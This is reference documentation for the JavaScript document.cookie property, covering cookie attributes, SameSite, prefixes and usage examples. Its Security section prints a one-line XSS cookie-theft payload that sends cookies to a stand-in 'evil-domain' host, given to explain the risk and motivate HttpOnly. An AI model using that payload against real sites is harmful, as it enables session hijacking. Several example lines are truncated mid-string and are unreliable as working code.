The `Document` property `cookie` lets you read and write cookies associated with the document. It serves as a getter and setter for the actual values of the cookies.

Syntax

Read all cookies accessible from this location

```
allCookies = document.cookie;
```

In the code above *`allCookies`* is a string containing a semicolon-separated list of all cookies (i.e. *`key=value`* pairs). Note that each *key* and *value* may be surrounded by whitespace (space and tab characters): in fact, RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

Write a new cookie

```
document.cookie = newCookie;
```

In the code above, `newCookie` is a string of form *`key=value`*. Note that you can only set/update a single cookie at a time using this method. Consider also that:

- Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
  - `;path=`*`path`* (e.g., `'/'`, `'/mydir'`) If not specified, defaults to the current path of the current document location.

    > **Note:** Prior to Gecko 6.0, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.

  - `;domain=`*`domain`* (e.g., `'example.com'` or `'subdomain.example.com'`). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included.

> **Note:** The domain *must* match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored.

  - `;max-age=`*`max-age-in-seconds`* (e.g., `60*60*24*365` or 31536000 for a year)
  - `;expires=`*`date-in-GMTString-format`* If neither `expires` nor `max-age` specified it will expire at the end of session.

    > When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe.

    - See `Date.toUTCString()` for help formatting this value.
  - `;secure` Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.
  - `;samesite` SameSite prevents the browser from sending this cookie along with cross-site requests. Possible values are `lax`, `strict` or `none`.
    - The `lax` value value will send the cookie for all same-site requests and top-level navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks. This is the default value in modern browsers.
    - The `strict` value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.
    - The `none` value explicitly states no restrictions will be applied. The cookie will be sent in all requests—both cross-site and same-site.
- The cookie value string can use `encodeURIComponent()` to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).
- Some user agent implementations support the following cookie prefixes:
  - `__Secure-` Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.
  - `__Host-` Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.

  > The dash is considered part of the prefix.

  > These flags are only settable with the `secure` attribute.

> **Note:** As you can see from the code above, `document.cookie` is an accessor property with native *setter* and *getter* functions, and consequently is *not* a data property with a value: what

> you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

Examples

Example #1: Simple usage

```
document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}
```

```
<button onclick="alertCookie()">Show cookies</button>
```

Example #2: Get a sample cookie named *test2*

```
document.cookie = "test1=Hello";
document.cookie = "test2=World";

const cookieValue = document.cookie
  .split('; ')
  .find(row => row.startsWith('test2'))
  .split('=')[1];

function alertCookieValue() {
  alert(cookieValue);
}
```

```
<button onclick="alertCookieValue()">Show cookie value</button>
```

Example #3: Do something only once

In order to use the following code, please replace all occurrences of the word `doSomethingOnlyOnce` (the name of the cookie) with a custom name.

```
function doOnce() {
  if (!document.cookie.split('; ').find(row => row.startsWith('doSometh
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 99
  }
}
```

```
<button onclick="doOnce()">Only do something once</button>
```

Example #4: Reset the previous cookie

```
function resetOnce() {
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:
}
```

```
<button onclick="resetOnce()">Reset only once cookie</button>
```

Example #5: Check a cookie existence

```
//ES5

if (document.cookie.split(';').some(function(item) {
    return item.trim().indexOf('reader=') == 0
})) {
    console.log('The cookie "reader" exists (ES5)')
}
```

```
//ES2016

if (document.cookie.split(';').some((item) => item.trim().startsWith('r
    console.log('The cookie "reader" exists (ES6)')
}
```

Example #6: Check that a cookie has a specific value

```
//ES5

if (document.cookie.split(';').some(function(item) {
    return item.indexOf('reader=1') >= 0
})) {
    console.log('The cookie "reader" has "1" for value')
}

//ES2016

if (document.cookie.split(';').some((item) => item.includes('reader=1')
    console.log('The cookie "reader" has "1" for value')
}
```

Security

It is important to note that the `path` attribute does *not* protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden `<iframe>` element with the path of the cookie, then accessing this iframe's `contentDocument.cookie` property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

```
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie
```

The `HTTPOnly` cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

Notes

- Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
- You can delete a cookie by simply updating its expiration time to zero.
- Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.
- RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be **no maximum length** of a cookie's key or value size, and encourages implementations to support **arbitrarily large cookies**. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.

The reason for the syntax of the `document.cookie` accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

The server tells the client to store a cookie

```
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:

[content of the page here]
```

The client sends back to the server its cookies previously stored

```
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*
```

Specifications